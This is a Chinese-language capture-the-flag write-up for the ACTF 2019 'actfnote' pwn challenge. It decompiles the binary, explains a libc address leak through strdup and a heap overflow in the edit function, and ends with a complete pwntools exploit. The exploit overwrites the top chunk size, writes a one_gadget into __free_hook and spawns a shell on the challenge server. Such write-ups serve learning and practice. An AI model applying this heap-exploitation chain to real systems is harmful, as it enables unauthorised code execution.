actf_2019_actfnote

0x00 文件信息

$ file ACTF_2019_ACTFNOTE
ACTF_2019_ACTFNOTE: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=10be2758217d31116e4c18ba938fb3f17aae033e, stripped

$ checksec ACTF_2019_ACTFNOTE
[*] '/mnt/hgfs/CTF/BUUCTF/Pwn/actf_2019/actf_2019_actfnote/ACTF_2019_ACTFNOTE'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x01 代码审计

程序有增删查改四个功能。

增加功能

程序先申请一个 node chunk,用于保存 name chunk 指针,content chunk 指针和 node chunk 序号。其中 content chunk 由 strdup 而来,strdup 函数根据其参数的长度来申请相应的内存。

unsigned __int64 Create()
{
  void *v0; // rax
  __int64 v1; // rsi
  char *v2; // rax
  signed int i; // [rsp+Ch] [rbp-44h]
  size_t size; // [rsp+10h] [rbp-40h]
  void **v6; // [rsp+18h] [rbp-38h]
  char s; // [rsp+20h] [rbp-30h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( dword_6020CC > 4 )
  {
    puts("you've got enough notes.");
  }
  else
  {
    v6 = (void **)malloc(0x18uLL);
    printf("please input note name size: ");
    __isoc99_scanf("%ld", &size);               //  
    getchar();
    if ( (signed __int64)size <= 32 )           // check 有符号
    {
      v0 = malloc(size);
      *v6 = v0;
      printf("please input note name: ", &size);
      v1 = (unsigned int)size;
      my_read(*v6, size);                       //  
      printf("please input note content: ", v1);
      my_read(&s, 32);                          //  
      v2 = strdup(&s);
      v6[2] = v2;
      for ( i = 0; i <= 4; ++i )
      {
        if ( !qword_6020E0[i] )                 // check
        {
          *((_DWORD *)v6 + 2) = i;
          qword_6020E0[i] = (__int64)v6;
          break;
        }
      }
      ++dword_6020CC;
      puts("add note success.");
    }
  }
  return __readfsqword(0x28u) ^ v8;
}

删除功能

unsigned __int64 Delete()
{
  int v1; // [rsp+Ch] [rbp-14h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("input note id: ");
  __isoc99_scanf("%d", &v1);                    //  
  getchar();
  if ( v1 >= 0 && v1 <= 4 && qword_6020E0[v1] ) // check
  {
    ptr = (void *)qword_6020E0[v1];
    free(*((void **)ptr + 2));
    free(ptr);
    qword_6020E0[v1] = 0LL;          
    --dword_6020CC;
    puts("delete success.");
  }
  else
  {
    puts("wrong id.");
  }
  return __readfsqword(0x28u) ^ v3;
}

修改功能

修改功能中存在溢出漏洞。当 Create 中 strdup 函数申请到的 chunk 的 size 为 0x20 时,Edit 函数中仍可向相应的 content chunk 写入 32 字节的数据,即为溢出。

unsigned __int64 Edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("input note id: ");
  __isoc99_scanf("%d", &v1);                    //  
  getchar();
  if ( v1 >= 0 && v1 <= 4 && qword_6020E0[v1] ) //  
  {
    v2 = qword_6020E0[v1];
    printf("please input new note content: ", &v1);
    my_read(*(void **)(v2 + 16), 32);           // 存在溢出
  }
  else
  {
    puts("wrong id.");
  }
  return __readfsqword(0x28u) ^ v3;
}

打印功能

打印 name chunk 和 content chunk 中的内容。

unsigned __int64 Dump()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("input note id: ");
  __isoc99_scanf("%d", &v1);                    //  
  getchar();
  if ( v1 >= 0 && v1 <= 4 && qword_6020E0[v1] ) // check
  {
    v2 = qword_6020E0[v1];
    printf("id: %d\n", *(unsigned int *)(v2 + 8));
    printf("name: %s\n", *(_QWORD *)v2);
    printf("content: %s\n", *(_QWORD *)(v2 + 16));
  }
  else
  {
    puts("wrong id.");
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞分析

经调试可发现当输入的 content 长度为 24 时,strdup 函数会把原本保存在栈上的 libc 地址一起复制到 content chunk 中,利用打印功能可直接泄露 libc 地址。

image-20200826162406488

image-20200826162455276

Edit 函数中存在溢出漏洞,可修改下一个 chunk 的 size 位。修改 top chunk 的 size 位为一个很大的数,最后抬高 top chunk,即可控制 node chunk 中保存的指针,实现任意写。

可以将保存的指针指向 free hook,向其中写入 onegadget,再调用 free 函数,即可 get shell。

0x02 EXP

from pwn import *
context.log_level = 'debug'
libc = ELF('/mnt/hgfs/CTF/Buuctf/libc/Ubuntu_18_64/libc-2.27.so')

if args.G:
    io = remote('node3.buuoj.cn', 26244)
else:
    io = process('./ACTF_2019_ACTFNOTE')

def Create(size, name, content):
    io.sendlineafter('/$', '1')
    io.sendlineafter('please input note name size:', str(size))
    io.sendafter('please input note name:', name)
    io.sendafter('please input note content:', content)

def Delete(id):
    io.sendlineafter('/$', '3')
    io.sendlineafter('input note id:', str(id))

def Edit(id, content):
    io.sendlineafter('/$', '2')
    io.sendlineafter('input note id:', str(id))
    io.sendafter('please input new note content:', content)

def Dump(id):
    io.sendlineafter('/$', '4')
    io.sendlineafter('input note id:', str(id))

plist = 0x0000000006020E0

Create(0x20, 'q' * 24, 'w' * 24)
Dump(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak - 50 - libc.sym['_IO_default_uflow']
success('libc_base: ' + hex(libc_base))

Create(0x20, 'a' * 24, 'l' * 16)
Edit(1, 'z' * 24 + '\xff' * 8)
io.recvuntil("/$")
io.sendline("1")
io.recvuntil("size:")
io.sendline("-264")
io.recvuntil("content:")
io.sendline(p64(libc_base + libc.sym['__free_hook']))
Edit(0, p64(0x10a38c + libc_base))
Delete(0)

io.interactive()

0x03 参考资料

2019-2020 @lukbash